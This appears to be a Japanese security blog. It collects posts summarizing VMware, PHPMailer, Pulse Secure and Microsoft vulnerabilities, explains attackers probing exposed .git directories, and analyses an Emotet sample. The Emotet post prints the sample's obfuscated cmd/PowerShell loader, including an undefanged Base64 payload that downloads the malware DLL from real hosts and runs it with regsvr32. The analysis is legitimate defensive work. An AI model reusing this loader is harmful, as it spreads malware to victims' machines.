VMware製品の脆弱性(CVE-2022-22954/CVE-2022-22960/CVE-2022-22972/CVE-2022-22973) まとめ
■サマリー
- 2022年4月~5月にかけてVMware製品の深刻な脆弱性が公表されました。
- これを受けてCISA*1が緊急指令22-03を発出しました。
- 前回の緊急指令は22-02_ApacheLog4j
- 該当製品を利用している場合は急ぎアップデートが必要です。 www.cisa.gov
■脆弱性番号:報告日
- CVE-2022-22954:2022年4月6日
- CVE-2022-22960:2022年4月6日
- CVE-2022-22972:2022年5月18日
- CVE-2022-22973:2022年5月18日
■どのような脆弱性か?
- CVE-2022-22954:Server-side Template Injection Remote Code Execution Vulnerability
- Base Score:9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- NWにアクセスできる攻撃者が、サーバサイドテンプレートインジェクションを起因としてリモートコードを実行する恐れがあります。
- CVE-2022-22960:Local Privilege Escalation Vulnerability
- Base Score:7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- ローカルアクセス権を持つ攻撃者が特権を「root」に昇格させる恐れがあります。
- CVE-2022-22972:Authentication Bypass Vulnerability
- Base Score:9.8 NVD*2ではまだN/A
- UIへのネットワークアクセスを持つ攻撃者が、認証を回避し管理アクセスを取得する恐れがあります。
- CVE-2022-22973:Local Privilege Escalation Vulnerability
- Base Score:7.8 NVDではまだN/A
- ローカルアクセス権を持つ攻撃者が特権を「root」に昇格させる恐れがあります。
■影響を受ける製品
- VMware Workspace ONE Access (Access)
- VMware Identity Manager (vIDM)
- VMware vRealize Automation (vRA)
- VMware Cloud Foundation
- vRealize Suite Lifecycle Manager
■対策
- アップデートの適応
- アップデートができない場合は対象製品をネットワークから隔離
■緊急指令22-03が発出された経緯
- 2022年4月6日にCVE-2022-22954およびCVE-2022-22960が公表される。
- 脆弱性公表から48時間以内に攻撃者によりExploitコードが開発され脆弱性の悪用が開始。
- 2022年4月14日にCVE-2022-22954が既知の脆弱性Exploitカタログ*3に追加される。
- 2022年4月15日にCVE-2022-22960が既知の脆弱性Exploitカタログに追加される。
- 2022年5月18日にCVE-2022-22972およびCVE-2022-22973が公開される。
- 前回の脆弱性公表時に48時間以内に脆弱性の悪用が始まったため、今回も早期に悪用が開始されると想定される。
- 2022年5月18日に緊急指令22-03が発出される。 www.cisa.gov
- 前回の脆弱性公表時に48時間以内に脆弱性の悪用が始まったため、今回も早期に悪用が開始されると想定される。
■すでに悪用されている場合の侵害の調査
- 以下のURLに技術詳細、調査方法、IoC情報が載っています。
■その他参考サイト
*1:米国国土安全保障省サイバーセキュリティインフラセキュリティ庁
*2:アメリカ国立標準技術研究所(NIST)が管理するNational Vulnerability Database
*3:https://www.cisa.gov/known-exploited-vulnerabilities-catalog
.gitディレクトリを狙った攻撃に関する調査
/.git/HEAD 宛のリクエスト
監視しているサーバに次のようなHTTPリクエストが来ていました。
GET /.git/HEAD
このリクエストは設定誤りで公開されている.gitディレクトリがないか探索している通信です。 以前から何度もこのリクエストを見かけていたのですが、.gitディレクトリを公開していなければ問題ない通信なので深くは調べていませんでした。 いい機会なので今回調べてみようと思います。
参考
- 以下の2サイトが大変参考になりました。 medium.com qiita.com
攻撃者が.gitディレクトリを狙う理由
.gitディレクトリにはgitに関する設定ファイルやプロジェクトのソースコードが含まれています。 ソースコードにはAPIキーや資格情報がハードコードされている場合もあり、攻撃者はこれを狙っています。 また、アプリケーションのソースコードが入手できれば攻撃者はじっくりとソースコードを解析することができ、 闇雲に攻撃するよりも効率良く攻撃が可能になります。
.gitディレクトリの構成(簡略化)
攻撃の解説の前に簡単に.gitディレクトリの構成について触れておきます。 gitの利用を始めると.gitディレクトリが作成され、.gitディレクトリ配下にHEADやconfigといったファイルが作成されます。 これらのファイルは標準的に.gitディレクトリ内に存在するので、攻撃者にとって狙いやすいファイルです。
. ├── HEAD ├── config : ├── objects │ ├── 11 │ │ └── 11aaaa2222bbbb3333cccc4444dddd5555eeee │ ├── 66 │ │ └── 66ffff7777aaaa8888bbbb9999cccc0000dddd │ ├── ee │ │ └── ee1111ffff2222aaaa3333bbbb4444cccc5555 : └── refs ├── heads :└── master
またobjectsディレクトリにはgitオブジェクト(=ソースコードだと思って下さい)が保存されていますが、ディレクトリ構成が少々複雑です。
それぞれのgitオブジェクトに対して40桁のSHA1ハッシュ値が生成され、先頭2文字がディレクトリ名、残り38文字がファイル名として利用されます。
SHA1ハッシュ値がeeee1111ffff2222aaaa3333bbbb4444cccc5555
のgitオブジェクトの場合は、/.git/objects/ee/ee1111ffff2222aaaa3333bbbb4444cccc5555
に配置されます。
攻撃者の最初のアクション
攻撃者が最初に確認したいことは、.gitディレクトリが公開されているかどうかです。 攻撃者は/.gitへアクセスし、.gitディレクトリの公開状況について確認します。
パターン① /.gitへアクセスが可能であり、ファイルの一覧表示が可能である
パターン② /.gitへアクセスすると403(Forbidden)エラーが発生する
パターン③ /.gitへアクセスすると404(Not Found)エラーが発生する
①の場合は.gitディレクトリが公開されており、.gitディレクトリ上のすべてのファイルが取得可能です。 逆に③の場合は.gitディレクトリが公開されていないため、攻撃は不成立となります。 そして②の場合、.gitディレクトリを直接見ることはできませんが、.gitディレクトリ上のファイルを直接指定することでそのファイルを参照できます。 ここで.gitディレクトリ内に標準的に存在する/.git/HEAD へのアクセスが試行されます。
攻撃者が/.git/HEADにアクセスし確認したいこと
攻撃者が/.git/HEADへアクセスする理由はもう1つあります。
上記の②のパターンの場合、攻撃者は入手したいソースコードのパスを直接指定する必要があります。
しかし、gitオブジェクトが置かれるパスはgitオブジェクトのSHA1ハッシュ値から生成され、
例としてSHA1ハッシュ値がeeee1111ffff2222aaaa3333bbbb4444cccc5555
のgitオブジェクトの場合は、
/.git/objects/ee/ee1111ffff2222aaaa3333bbbb4444cccc5555
に配置されます。
攻撃者はgitオブジェクトのSHA1ハッシュ値がわからないはずなので、/.git/objects/ee/ee1111ffff2222aaaa3333bbbb4444cccc5555
のような複雑なパスにはアクセスできないように思えますが、/.git/HEADや/.git/refs/heads/master のファイルの中にはgitオブジェクトのSHA1ハッシュ値に関する情報が格納されているため、これを知るために攻撃者は/.git/HEADにアクセスしてきます。
その他
Emotetの感染手法に関する調査
Emotetばら撒き再開
2022/05/12より、Emotetのばら撒きが再開されたそうなので興味本位でEmotetの感染手法について調査しました。 (以下のTweetを参照させていただきました。)
#Emotet E4から日本語のメールも出ています。https://t.co/gc1UR6zU6I
— bom (@bomccss) 2022年5月11日
Emotet本体の挙動が変わっている部分もあり、4/30からの休止期間は開発期間だったと思われます。 pic.twitter.com/gRw98kKPkp
今回調査した検体
https://tria.ge/220511-3czl6sfdfn
zipファイルがメール添付されており、解凍すると中にlnkファイルがあるパターン
lnkファイルに含まれているコマンド全文
"C:\Windows\system32\cmd.exe" /v:on /c M/sXPr4KffgFntQuZ4JBbtq1jStjU+wg3mwp1NCAxQSmay5js/nhnTV2H0+6ZjnJTk5SptbW||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0='))) }"
cmd -> Powershell実行まで
"C:\Windows\system32\cmd.exe" /v:on /c M/sXPr4KffgFntQuZ4JBbtq1jStjU+wg3mwp1NCAxQSmay5js/nhnTV2H0+6ZjnJTk5SptbW||goto&p^o^w^e^r^s^h^e^l^l.e^x^e
- /v:on・・・プロンプト起動時の遅延環境変数の展開機能を有効にする
- /c・・・起動後にプロンプトを閉じる
- コマンド1 || コマンド2・・・コマンド1に失敗したときのみコマンド2を実行
- コマンド1 & コマンド2・・・コマンド1を実行した後にコマンド2を実行
- 文字列に含まれるTab文字は無視される
- 結局のところpowershell.exeが実行される
Powershellの実行
p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0='))) }
- -c・・・コマンドをPowerShellで実行
- &{}・・・{}で囲まれた部分のコマンドを評価して実行する
- iex・・・Invoke-Expression:コマンドを評価して実行する
- [System.Text.Encoding]::ASCII.GetString・・・文字列をASCIIとして取得する
- [System.Convert]::FromBase64String・・・文字列をBase64でデコードする
- なのでBase64文字列をデコードしたコードがPowershellで実行される
Base64文字列
ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0=
Base64文字列のデコード後(一部サニタイズしてます)
Write-Host "jYmZzigORk";$ProgressPreference="SilentlyContinue";$links=("hxxp://goonboy.com/goonie/bSFz7Av/","hxxp://dulichdichvu.net/libraries/QhtrjCZymLp5EbqOdpKk/","hxxp://genccagdas.com.tr/assets/TTHOm833iNn3BxT/","hxxp://easiercommunications.com/wp-content/w/","hxxp://heaventechnologies.com.pk/apitest/xdeAU0rx26LT9I/","hxxps://www.whow.fr/wp-includes/H54Fgj0tG/");$tmp="IgMID";mkdir -force "$env:TEMP\..\$tmp" | out-null;foreach ($u in $links) {try {IWR $u -OutFile $env:TEMP\..\IgMID\nvwtSqnuXf.uBB;Regsvr32.exe "$env:TEMP\..\IgMID\nvwtSqnuXf.uBB";break} catch { }}
- Write-Host "jYmZzigORk"
- コンソール画面に"jYmZzigORk"を出力する(意味はよくわからない)
- $ProgressPreference="SilentlyContinue"・・・Powershellの緑帯表示を抑制する
- $links・・・Emotet本体(DLLファイル)をホストしているURLのリスト
- mkdir -force "$env:TEMP..\$tmp" | out-null
- 「IgMID」ディレクトリを作成する。出力は捨てる
- foreach ($u in $links) {try {IWR $u -OutFile $env:TEMP..\IgMID\nvwtSqnuXf.uBB
- Emotet本体(DLLファイル)をホストしているURLから「IgMID」ディレクトリ配下に「nvwtSqnuXf.uBB」という名前でEmotetをDL
- Regsvr32.exe "$env:TEMP..\IgMID\nvwtSqnuXf.uBB"
- Regsvr32.exe に「nvwtSqnuXf.uBB」を登録する
- Regsvr32.exe に「nvwtSqnuXf.uBB」を登録する
参考
今回の調査を行うにあたって、以下のサイトが大変参考になりました。 binary-pulsar.hatenablog.jp
2022年05月 Microsoft 月例セキュリティ更新 要点まとめ
■悪用確認済の脆弱性
- CVE-2022-26925:Windows LSA のなりすましの脆弱性
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26925
- 攻撃条件の複雑さが「High」評価だが、以前公開されたアドバイザリ ADV210003 と組み合わせでリスクが高くなる。
- Active Directory Certificate Services (AD CS) に対する NTLM リレー攻撃の緩和
- https://msrc.microsoft.com/update-guide/ja-JP/vulnerability/ADV210003
- 以下この脆弱性の悪用に関する参考
■悪用はないが公開ありの脆弱性
- CVE-2022-22713:Windows Hyper-V のサービス拒否の脆弱性
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22713
- 攻撃条件の複雑さが「High」評価。悪用の可能性は低い。
■CVSSスコアが高い脆弱性(Base Score 9.8)
- CVE-2022-22012:Windows LDAP のリモートでコードが実行される脆弱性
- CVE-2022-29130: Windows LDAP のリモートでコードが実行される脆弱性
- CVE-2022-26937: Microsoft ネットワーク ファイル システムのリモートでコードが実行される脆弱性
- いずれの脆弱性も悪用には前提条件あり。
■言及があったその他の脆弱性
- CVE-2022-21978:Microsoft Exchange Server の特権の昇格の脆弱性
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21978
- セキュリティ更新プログラムの適用に加え、追加の作業を実施する必要あり。
PHPMailerの脆弱性(CVE-2020-36326) まとめ
■脆弱性番号
CVE-2020-36326
■報告日
2021/04/29
■概要
- PHPMailerはフィルタリングされていない"phar://"のPathをaddAttachment関数および他の関数に渡します。これによりオブジェクト注入攻撃に対して脆弱性を持ち、RCEにつながる可能性があります。
- 今回の脆弱性(CVE-2020-36326)は、以前の脆弱性(CVE-2018-19296)の再発です。
- CVE-2018-19296の修正バージョンとして、PHPMailer 6.0.6 および 5.2.27 が公開されたが、6.1.8 の公開の際に脆弱性が再発しました。
PHPMailer - Security Advisories - CVE-2020-36326
https://github.com/PHPMailer/PHPMailer/security/advisories/GHSA-m298-fh5c-jc66
PHPMailer - Security Advisories - CVE-2018-19296
https://github.com/advisories/GHSA-7w4p-72j7-v7c2
■影響バージョン
PHPMailer 6.1.8 から 6.4.0 までのバージョン
■回避策
PHPMailer 6.4.1 へのアップデート
■注意点
- PoCは既に公開されており、悪用のリスクが高い
- WordPressはPHPMailerを内包しているため、利用している場合は対応が必要
- 2021/05/13 に脆弱性修正バージョンのWordPressが公開されている wordpress.org
- Ubuntuでは脆弱性ページが公開されていたが、ほかのディストリビューションは不明 ubuntu.com
■その他参考サイト
Pulse Connect Secure の脆弱性(CVE-2021-22893) まとめ
■脆弱性概要
Pulse Connect Secure RCE Vulnerability (CVE-2021-22893)
■どのような脆弱性か
認証されていないリモートの攻撃者が不特定のベクターを介して任意のコードを実行する可能性があります。 CVSS 3.1 スコア 10(クリティカル)
■対象バージョン
PCS9.0R3以降
■対応策
①Pulse Connect Secure Integrity Tool の実行
- 攻撃者は脆弱性の悪用に成功すると、アプライアンスにWebシェルを配置して永続的なアクセスを取得する可能性がある。
- このツールはファイルシステムの整合性をチェックし、ハッシュ値の不一致を検出できる。(すでに攻撃が成功し、Webシェルなどの不正なファイルが置かれていた場合、検出できる。)
- 検出された不一致ファイルは、暗号化されたzipアーカイブとしてダウンロードできる。
Pulse Connect Secure Integrity Tool
https://kb.pulsesecure.net/pkb_mobile#article/l:en_US/KB44755/s
②回避策の実行
- Workaround-2104.xmlファイルをインポートすることで軽減できる。
- 影響: XMLファイルは、PCSアプライアンスで次の機能を無効にする。
- Windowsファイル共有ブラウザ
- パルスセキュアコラボレーション
③アップデートの実施
- まだ提供されていない。5月上旬提供見込み。
【参考】 CISA - Emergency Directive 21-03 cyber.dhs.gov
■日本語参考記事(セキュリティネクスト)
2021年4月 Microsoft Security Update まとめ
社内のMS製品にセキュリティパッチを適用するかの判断材料として、2021年4月の Microsoft Security Update について情報収集をしました。 注意すべき脆弱性/更新内容を洗い出します。
■2021年4月のアップデート・公開された脆弱性一覧
Security Update Guide - Microsoft Security Response Center
・releaseNote 2021/04
今月のリリースには、オンプレミスのExchange Serverの新しい脆弱性から保護するための更新など、優先することをお勧めするいくつかの重大な脆弱性が含まれています。これらの新しい脆弱性は、セキュリティパートナーによって標準の調整された脆弱性の開示を通じて報告され、マイクロソフトによって内部的に発見されました。お客様に対する攻撃で使用される脆弱性は確認されていません。ただし、最近の攻撃者がExchangeに注目していることを考えると、これらの脅威やその他の脅威から保護された状態を維持するために、できるだけ早く更新をインストールすることをお勧めします。
■セキュリティニュースサイト
・ZDNET www.zdnet.com ・TalosBlog blog.talosintelligence.com ・セキュリティネクスト www.security-next.com
今月はExchange Server の脆弱性が1番騒がれています。 リモートコード実行の脆弱性で以下の4つのCVEです。
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28480
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28481
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28482
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28483
またWin32k における権限昇格の脆弱性も注目されています。 こちらは一般に公開されていないものの、すでに悪用が確認されているため。
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310
■Exchange Server の脆弱性について
・Microsoft Security Response Center msrc-blog.microsoft.com ・Released: April 2021 Exchange Server Security Updates techcommunity.microsoft.com